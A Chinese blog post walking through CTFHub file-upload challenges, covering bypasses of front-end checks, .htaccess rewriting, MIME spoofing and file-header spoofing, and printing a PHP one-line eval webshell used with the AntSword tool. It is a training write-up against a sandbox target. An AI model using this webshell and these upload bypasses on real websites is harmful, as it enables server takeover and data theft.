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本来不想分段的，但是后来发现要写的东西太多了，就写了个首页，汇总一下地址，大家见谅

首页地址

文件上传文件上传

无验证无验证

这个就是给我们打基础用的，首先去下载中国蚁剑：网址

再写一个一句话木马并上传：

<?php @eval($_POST["shell"]);?>

之后访问这个地址：http://challenge-24a8e700e9152446.sandbox.ctfhub.com:10800/upload/1.php
看到没有出现404说明上传成功
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打开蚁剑，添加数据：

这里有个很重要的点，你输入的连接密码必须是你之前一句话木马里$_POST[“XXX”]的XXX，要不然会输出返回数据为空,我这
里就是shell（靠因为我太菜了不知道这个原理是什么，导致我一开始以为密码随便设就好啦，结果一直给我返回数据为空）
添加后点击测试连接出现这个样子就是好了



双击打开：

找一下文件夹里就可以找到flag了



没办法第一次搞文件上传漏洞，磕磕绊绊的，请谅解。

前端验证前端验证

这波f12打开分析源代码，得知过滤的类型：



接下去有几种方式，提供个网址，里面介绍了很多方法：网址

我用的是抓包方法：

把刚刚1.php修改为1.jpg，打开burp suite ，抓包：
把刚刚的1.jpg变成1.php

之后就是和上面题一样了：

https://blog.csdn.net/qq_45653588/article/details/107546909


本题结束

.htaccess



这个题目还是很妙的，个人感觉

一开始和之前一样上传1.php，结果显示类型匹配错误
打开f12查看源码，发现里面有后端的源码，看了下类型，说明它过滤的很多后缀名

接下来我去搜了一下如何绕过后端验证文件上传的方法，这个网址里面讲的很清楚，推荐：网址

在他的介绍下我采用了大写的方式，1.pHp，结果不行。。

访问出现这个说明没成功，服务器没把pHp当作普通的php做解析

再去网上搜，发现可以这样。。

先上传一个Apache专属的.htaccess配置文件，里面包含一个设置，意思就是让.jpg后缀的也当作php来解析

并上传

https://blog.csdn.net/weixin_42563415/article/details/115722040


接下来我们就可以上传我们的1.jpg啦

出现这个说明成功了

之后就是跟上面一样啦



这边要注意一点，把flag文件打开后可能没有flag，这不是出问题了而是要把蚁剑刷新一下，我当初还以为是出bug了结果重开了一次，浪费了

30金币我靠

本题结束

MIMW验证验证

可能很多人不知道什么是MIME？

不过没关系，那你一定听说过文件内容类型或者说通过抓包你一定听说过 Content-Type: text/html 这种类似的，其实，这就是
MIME。
那么只要在抓包中看看Content-Type是啥就好了

先试试看一些文件类型能不能上传成功

试了之后发现.gif格式是可以上传的
那么我们先上传一个.gif格式的文件，再抓包，看看Content-Type：

复制下来，再上传一个.php文件，把MIME类型改掉：



上传成功！

之后就是跟上两题一样了



本题结束

文件头检查文件头检查

经验证，.png的是可以上传的
用Notepad++打开png文件，复制整个文件：

用bp抓包，把文件复制到1.php前面，再把MIME改成image/png



访问地址，出现这个说明正常：

接下来就算老套路了



本题结束

持续更新ing…
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